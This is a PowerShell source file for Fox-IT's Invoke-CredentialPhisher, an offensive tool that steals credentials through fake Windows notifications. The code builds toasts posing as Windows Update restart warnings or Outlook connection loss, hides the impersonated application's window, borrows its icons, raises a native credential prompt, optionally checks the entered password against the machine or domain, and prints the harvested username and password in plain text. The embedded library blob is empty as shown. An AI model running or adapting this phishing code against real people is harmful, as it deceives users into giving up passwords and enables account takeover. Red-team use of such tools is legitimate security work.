
    # Fox-IT
    # Written by Rindert Kramer

    ####################
    #
    # Copyright (c) 2018 Fox-IT

    # Permission is hereby granted, free of charge, to any person obtaining a copy
    # of this software and associated documentation files (the "Software"), to deal
    # in the Software without restriction, including without limitation the rights
    # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    # copies of the Software, and to permit persons to whom the Software is
    # furnished to do so, subject to the following conditions:
    #
    # The above copyright notice and this permission notice shall be included in all
    # copies or substantial portions of the Software.
    #
    # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISNG FROM,
    # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
    # SOFTWARE.
    #
    ####################

#>

function Invoke-CredentialPhisher {
<#
    .SYNOPSIS

        Spawns a notification that, if clicked, prompts the user for credentials
        Author: @foxit
        License: MIT
        Required Dependencies: None
        Optional Dependencies: None

    .DESCRIPTION

        Spawns a native toast notification that, if clicked, prompts the current user
        to enter their credentials into a native looking window. Notification stays on screen for ~25 seconds.
        Requires Windows >= 8.1/2012

    .PARAMETER ToastType

        The type of Toast notification ("System" or "Application")

    .PARAMETER Application

        The name of the application to claim launched the prompt (ie. "outlook", "explorer")

    .PARAMETER ToastTitle

        The title of toast notification box

    .PARAMETER ToastMessage

        The message of toast notification box

    .PARAMETER CredBoxTitle

        The title on the box prompting for credentials

    .PARAMETER CredBoxMessage

        The message of the box prompting for credentials

    .PARAMETER VerifyCreds

        Verify the creds a user provides, and prompt them again until they either click cancel or enter valid creds

    .PARAMETER HideProcess

        Hide the window of the process we claim launched the prompt

    .EXAMPLE

        PS C:\> Invoke-CredentialPhisher -ToastTitle "Microsoft Office Outlook" -ToastMessage "Connection to Microsoft Exchange has been lost.`r`nClick here to restore the connection" -Application "Outlook" -CredBoxTitle "Microsoft Outlook" -CredBoxMessage "Enter password for user '{emailaddress|samaccountname}'" -ToastType Application -HideProcesses

        Spawns a notification stating Outlook has lost connectivity for the specific user/email address, hides outlook, and prompts for creds.

    .EXAMPLE

        PS C:\> Invoke-CredentialPhisher -ToastTitle "Updates are available" -ToastMessage "Your computer will restart in 5 minutes to install the updates" -CredBoxTitle "Credentials needed" -CredBoxMessage "Please specify your credentials in order to postpone the updates" -ToastType System -Application "System Configuration"

        Spawns a notification with a drop-down time selection, stating Windows will be restarting in 5 minutes and creds are required to postpone, and prompts for creds.

    .EXAMPLE

        PS C:\> Invoke-CredentialPhisher

        (default) Spawns a notification with a drop-down time selection, stating Windows will be restarting in 5 minutes and creds are required to postpone, and prompts for creds.
#>

    [CmdletBinding()]
    param(
        [ValidateSet('Application','System')]
        [string]
        $ToastType = "System",

        [string]
        $Application = "System Configuration",

        [string]
        $ToastTitle = "Windows will restart in 5 minutes to finish installing updates",

        [string]
        $ToastMessage = "Windows will soon restart to complete applying recently installed updates. Use the drop down below if you would like to reschedule the restart to a later time",

        [string]
        $CredBoxTitle = "Are you sure you want to reschedule restarting your PC?",

        [string]
        $CredBoxMessage = "Authentication is required to reschedule a system restart",

        [switch]
        $VerifyCreds = $false,

        [switch]
        $HideProcesses = $false
    )

    #region functions
    function Set-WindowVisibility ([int32[]]$hWnds, [Phishwin.WindowStates]$windowState) {
        # thx: https://www.go4expert.com/articles/hiding-windows-c-sharp-t973/
        foreach ($hWnd in $hWnds) {
            [void][Phishwin.Window]::ShowWindow($hWnd, $windowState)
        }
    }

    function Get-Icon ([string]$processPath, [switch]$returnAsPath){

        # Check if path exists.
        if (-not (Test-Path $processPath)){
            return
        }

        $icon = [System.Drawing.Icon]::ExtractAssociatedIcon($processPath)
        if (-not $returnAsPath){
            return $icon
        }

        # save extracted icon in %appdata% as bitmap to prevent data/image quality loss
        $savePath = "$([environment]::getfolderpath("LocalApplicationData"))\$(Get-RandomString).bmp"
        $icon.ToBitmap().Save($savePath);

        #$fs = New-Object -TypeName System.IO.FileStream $savePath, ([System.IO.FileMode]::Create)
        #$icon.Save($fs)
        #$fs.Dispose()

        $icon.Dispose()
        return $savePath
    }

    function Export-Icon ([string]$file, [int]$index, [int]$iconSize = 64){

        # Windows information icon
        #$dllPath = 'C:\Windows\system32\imageres.dll'
        #$index = 76

        #$dllPath = 'C:\Windows\system32\shell32.dll'
        #$index = 277

        # Windows control panel cog
        #$dllPath = 'C:\Windows\system32\shell32.dll'
        #$index = 316

        # guard UAC icon
        #$dllPath = 'C:\Windows\system32\user32.dll'
        #$index = 6

        # Windows defender - error shield
        #$dllPath = 'C:\Program Files\Windows Defender\EppManifest.dll'
        #$index = 8

        # Windows defender - white shield
        #$dllPath = 'C:\Program Files\Windows Defender\EppManifest.dll'
        #$index = 7

        $icon = [Phishwin.IconExtractor]::Extract($file, $index, $true)

        if ($icon -ne $null){

            # Extract successful, convert to bitmap for high quality
            $bmp = $icon.ToBitmap()

            # icon destination file
            $savePath = "$([environment]::getfolderpath("LocalApplicationData"))\$(Get-RandomString).bmp"

            # check if icon has correct size
            if ($icon.width -eq $iconSize){
                $bmp.Save($savePath)
            } else {
                # Resize icon
                $newbmp = New-Object System.Drawing.Bitmap($iconSize, $iconSize)
                $graph = [System.Drawing.Graphics]::FromImage($newbmp)

                # Make it transparent
                $graph.clear([System.Drawing.Color]::Transparent)
                $graph.DrawImage($bmp,0,0,$iconSize,$iconSize)

                $newbmp.Save($savePath)
                $newbmp.Dispose()
            }

            $bmp.Dispose()
            return $savePath
        }
    }

    function Get-RandomString([int]$length = 10){
        $lcase = 'abcdefghijklmnopqrstuvwxyz'
        $ucase = $lcase.ToUpper()
        $combi = ($lcase + $ucase).ToCharArray()

        $sBuilder = New-Object System.Text.StringBuilder

        for ($i = 0; $i -lt $length; $i++){
            [void]$sBuilder.Append($combi[(Get-Random -Minimum 0 -Maximum ($combi.Length -1))])
        }

        return $sBuilder.ToString()
    }

    function Import-PhishWinLib {
        # thx: https://github.com/rkeithhill/PoshWinRT
        # We use this library to handle events from the toasts.
        # I did not get the winmd references to work with add-type, so we reflect the library from base64
        # The following blob is a b64 representation of the compiled library with some modifications, such as the win32 credentialdialog provider.
        $libB64 = ' '
        [byte[]]$bContent = [System.Convert]::FromBase64String($libB64)

        [void][system.reflection.assembly]::Load($bContent)

        # cleanup
        $libB64 = [string]::Empty
        $bContent = $null
        Remove-variable libB64, bContent -ErrorAction silentlycontinue
    }

    function WrapToastEvent {
        param($target, $eventName);
        $wrapper = new-object "Phishwin.EventWrapper[Windows.UI.Notifications.ToastNotification,System.Object]";
        $wrapper.Register($target, $eventName);
    }

    function Get-AppUserModelId ([string]$appName){

        $appID = 'Microsoft.Windows.ControlPanel'

        $apps = Get-StartApps

        # Do a full match
        $r = $apps | Where-Object {$_.Name -eq $appName}

        if ($r -ne $null){
            return $r.AppID
        }

        # No result. Do a partial match
        $r = $apps | Where-Object {$_.Name -like "*$appName*"}

        if ($r -ne $null){
            return $r.AppID
        }

        return $appID
    }

    function Get-UpdateToastTemplate ([string]$title, [string]$message) {

        #$imgLocation = Export-Icon -file 'C:\Program Files\Windows Defender\EppManifest.dll' -index 7
        $imgLocation = Export-Icon -file 'C:\Windows\system32\shell32.dll' -index 316
        $t = "<image placement=`"appLogoOverride`" src=`"$imgLocation`"/>"

        [xml]$ToastTemplate = @"
        <toast duration="50">
            <visual>
                <binding template="ToastGeneric">
                    <text>$title</text>
                    <text />
                    <text>$message</text>
                    $t
                </binding>
            </visual>
            <actions>
                <input id="snoozeTime" type="selection" defaultInput="3">
                    <selection id="1" content="5 Minutes" />
                    <selection id="2" content="10 Minutes" />
                    <selection id="3" content="15 Minutes" />
                    <selection id="4" content="30 Minutes" />
                    <selection id="5" content="60 Minutes" />
                </input>
                <action content="Postpone" arguments="postpone"/>
                <action content="Restart" arguments="restart"/>
            </actions>
        </toast>
"@

        return $ToastTemplate

    }

    function Get-ApplicationToastTemplate ([string]$title, [string[]]$message, [string]$imgLocation) {

        $t = [string]::Empty

        # insert application icon. If no icon is found, use the information icon
        if ([string]::IsNullOrEmpty($imgLocation)) {
            $imgLocation = Export-Icon -file 'C:\Windows\system32\shell32.dll' -index 277
        }

        $t = "<image placement=`"appLogoOverride`" src=`"$imgLocation`"/>"

        $sBuilder = New-Object system.Text.StringBuilder
        foreach ($m in $message){
            [void]$sBuilder.AppendLine("<text>$m</text>")
        }

        [xml]$ToastTemplate = @"
            <toast launch="app-defined-string">
              <visual>
                <binding template="ToastGeneric">
                  <text>$title</text>
                  $($sBuilder.ToString())
                  $t
                </binding>
              </visual>
            </toast>
"@

        return $ToastTemplate

    }

    function Get-UserInfo ([string]$caption, $userPrincipal){

        # this function dynamically retrieves userinfo based on a userprincipalobject
        # The $caption variable may contain properties of the userprincipal object
        # like {samaccountname|mail}.
        #
        # Everything between the accolades is evaluated, however, the first property to return a value is returned by the function
        # This function is great for dynamically retrieving user information to use in this phiswin project.

        $r = '.+\{(?<variable>.+)\}(.+)?'

        # check if we need to evaluate the properties on the userprincipal object
        if ($caption -match $r){

            # Extract the supplied attributes with regex
            $m    = Select-string -InputObject $caption -Pattern $r
            $attr = $m.Matches.Groups | Where-Object {$_.Name -eq 'Variable'} | ForEach-Object {$_.Value}

            # A pipe means multiple attributes.
            if ($attr.Contains('|')){
                $attrs = $attr.Split('|')

                foreach ($a in $attrs){
                    $tmp = $userPrincipal.$a
                    if (-not [string]::IsNullOrEmpty($tmp)){
                        $v = $tmp
                        break
                    }
                }
            } else {
                # Only one attribute supplied.
                $v = $userPrincipal.$attr
            }

            # Return value of the property if a value was found. Otherwise, return supplied data.
            if ($v -ne $null){
                return $caption.Replace("{$attr}", $v)
            } else {
                return $caption
            }

        }else {
            # Caption is not a property. Return the value.
            return $caption
        }
    }

    function Invoke-Prompt ([string]$ToastTitle, [string]$ToastMessage, [string]$Application, [string]$CredBoxTitle, [string]$CredBoxMessage, [string]$ToastType, [bool]$VerifyCreds, [bool]$HideProcesses) {
        $global:credential = $null
        $global:VerifyCreds = $VerifyCreds

        # Load Depedencies
        Import-PhishWinLib
        [void][Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime]
        [void][Windows.Data.Xml.Dom.XmlDocument, Windows.Data.Xml.Dom, ContentType = WindowsRuntime]
        Add-Type -AssemblyName System.Windows.Forms, PresentationFramework, System.Drawing, WindowsFormsIntegration, System.DirectoryServices.AccountManagement

        # global variable to determine whether a user has clicked on the balloon or not
        $global:clicked = $false

        # Generate message and captions
        $principal = [System.DirectoryServices.AccountManagement.UserPrincipal]::Current
        $tTile     = Get-UserInfo -userPrincipal $principal -caption $ToastTitle
        $tMessage  = (Get-UserInfo -userPrincipal $principal -caption $ToastMessage) -Split "`r`n"
        $global:cTitle   = Get-UserInfo -userPrincipal $principal -caption $CredBoxTitle
        $global:cMessage = Get-UserInfo -userPrincipal $principal -caption $CredBoxMessage

        # Get appID for control panel. If no default appID is available, the default of windows control panel will be used
        $app = Get-AppUserModelId -appName $Application

        # If we impersonate an application, check if the application is running
        $processName = $Application.ToLower()

        # Get info about Outlook process
        $processHandles = @()
        $processList = Get-Process | where-object {$_.Name.ToLower() -eq $processName}
        foreach ($p in $processList)
        {
            $processHandles += $p.MainWindowHandle.ToInt32()
        }

        # Extract icon from process
        $iconPath = [string]::Empty
        if ($processList -ne $null) {

            # sometimes the path property is not set. use WMI to query path
            $path = $processList[0].Path
            if ([string]::IsNullOrEmpty($path)){
                $r = & wmic process get ExecutablePath | Where-Object {$_.ToLower().contains("$processName")}
                if (-not [string]::IsNullOrEmpty($r)){
                    $path = $r
                } else {
                    break
                }
            }
            $iconPath = Get-Icon -processPath $path -returnAsPath:$true
        } else {
            # Check if application is set to a path. That way we can extract the icon as well
            if (Test-Path $Application){
                $iconPath = Get-Icon -processPath $Application -returnAsPath
            }
        }

        # Build the toast
        $xToast = $null
        if ($ToastType -eq 'Application'){
            $xToast = Get-ApplicationToastTemplate -title $tTitle -message $tMessage -imgLocation $iconPath
        } else {
            $xToast = Get-UpdateToastTemplate -title $tTile -message $tMessage
        }

        $ToastXml = New-Object -TypeName Windows.Data.Xml.Dom.XmlDocument
        $ToastXml.LoadXml($xToast.OuterXml)


        # Keep it on screen for ~25 seconds
        $ToastXml.DocumentElement.SetAttribute("duration", "long")

        $toast = New-Object Windows.UI.Notifications.ToastNotification -ArgumentList $ToastXml
        $toast.ExpirationTime = [datetime]::Now.AddMinutes(1)
        $notify = [Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier($app)

        # Handle all logic when user clicks on toast
        [void](Register-ObjectEvent -InputObject (WrapToastEvent $toast "Activated") -EventName FireEvent -Action {

            $global:clicked = $true
            $validCreds = $false
            $first = $true

            $CredBoxTitle = $global:cTitle
            $CredBoxMessage = $global:cMessage


            [bool]$save     = $false
            [int]$errorCode = 0
            [System.UInt32]$authPackage   = 0
            [System.UInt32]$dialogReturn  = 0
            [System.UInt32]$outCredSize   = 0
            [System.IntPtr]$outCredBuffer = 0

            $credUi = New-Object Phishwin.CredentialDialog+CREDUI_INFO
            $credUi.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($credUi)
            $maxBuffer = 300
            $usernameBuffer = New-Object System.Text.StringBuilder($maxBuffer)
            $passwordBuffer = New-Object System.Text.StringBuilder($maxBuffer)
            $domainBuffer   = New-Object System.Text.StringBuilder($maxBuffer)

            $localAuth      = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('Machine', $env:computername)
            $joinedToDomain = (Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain

            Do
            {
                if ($first -eq $false)
                {
                    $credUi.pszCaptionText = "Invalid Credentials"
                    $credUi.pszMessageText = "The username and password combination entered was invalid, please try again."
                }
                else {
                    $credUi.pszCaptionText = $CredBoxTitle
                    $credUi.pszMessageText = $CredBoxMessage
                }

                $dialogReturn = [Phishwin.CredentialDialog]::CredUIPromptForWindowsCredentials([ref]$credUi,
                            $errorCode,
                            [ref]$authPackage,
                            0,0,
                            [ref]$outCredBuffer,
                            [ref]$outCredSize,
                            [ref]$save,
                            1)

                if ($dialogReturn -eq 0) {
                    $first = $false
                    if ([Phishwin.CredentialDialog]::CredUnPackAuthenticationBuffer(0, $outCredBuffer, $outCredSize, $usernameBuffer, [ref]$maxBuffer, $domainBuffer, [ref]$maxBuffer, $passwordBuffer, [ref]$maxBuffer))
                    {
                        # clear the memory allocated by CredUIPromptForWindowsCredentials
                        [Phishwin.CredentialDialog]::CoTaskMemFree($outCredBuffer)
                        $global:credential = New-Object System.Net.NetworkCredential
                        $global:credential.UserName = $usernameBuffer.ToString()
                        $global:credential.Password = $passwordBuffer.ToString()
                        $global:credential.Domain   = $domainBuffer.ToString()

                        # Check if the creds are bogus
                        if ($global:VerifyCreds -eq $true)
                        {
                            #try local auth first
                            if ($global:credential.Domain -eq '' -or $global:credential.Domain -eq $null)
                            {
                                $validCreds = $localAuth.ValidateCredentials($global:credential.UserName, $global:credential.Password)
                                if ($validCreds) { $global:credential.Domain = $env:computername }
                            }
                            # Local auth failed, try domain
                            if ($validCreds -eq $false -and $joinedToDomain -eq $true)
                            {
                                $domainObject = (New-Object System.DirectoryServices.DirectoryEntry "", $global:credential.UserName, $global:credential.Password).psbase.name
                                if ($domainObject -ne $null)
                                {
                                    $validCreds = $true
                                    $global:credential.Domain = $domainObject.split("=")[1].split(",")[0].toUpper()  # Split the "DC=DomainName,DC=ParentDomain" into just DOMAINNAME
                                }
                            }
                        }

                        # We aren't checking for valid creds, and we don't already know the domain. Fill in the hostname.
                        if ($VerifyCreds -eq $false -and ($global:credential.Domain -eq '' -or $global:credential.Domain -eq $null))
                        {
                            $global:credential.Domain = $env:computername
                        }

                    }
                }
                # User clicked cancel, bail out
                if ($dialogReturn -ne 0)
                {
                    if ($validCreds -eq $false)
                    {
                        $global:credential.UserName = ''
                        $global:credential.Password = ''
                        $global:credential.Domain = ''
                    }
                    break;
                }

            } while ($validCreds -eq $false -and $global:VerifyCreds -eq $true)
        })


        # Do we need to hide the process?
        if ($HideProcesses) {
            Set-WindowVisibility -hWnds $processHandles -windowState SW_HIDE
        }

        # Display toast
        $notify.Show($toast)

        # Wait a few seconds until user clicks on the toast
        $balloonTimer = 26
        $timeElapsed = 0
        while (-not $global:clicked) {
            Start-Sleep (1)
            $timeElapsed++

            if ((-not $global:clicked) -and $timeElapsed -gt $balloonTimer){
                #Write-Output "[-] User did not click on the balloon"
                break
            }
        }

        # Restore window visibility
        if ($HideProcesses) {
            Set-WindowVisibility -hWnds $processHandles -windowState SW_RESTORE
        }

        $outData = ''
        if ($global:clicked -eq $false)
        {
            $outData = "[-] User did not click on notification"
        }
        if ($global:clicked -eq $true)
        {
            $outData = "[-] User clicked notification, but did not enter credentials"
        }
        if ($global:credential.UserName -and $global:credential.UserName -ne '')
        {
            if ($VerifyCreds)
            {
                $outData = "[+] Phished credentials: $($global:credential.Domain)/$($global:credential.UserName) $($global:credential.Password)"
            }
            else
            {
                $outData = "[+] Phished credentials [Not-verified]: $($global:credential.Domain)/$($global:credential.UserName) $($global:credential.Password)"
            }

        }

        $outData | Out-String
    }

    Invoke-Prompt $ToastTitle $ToastMessage $Application $CredBoxTitle $CredBoxMessage $ToastType $VerifyCreds $HideProcesses
}
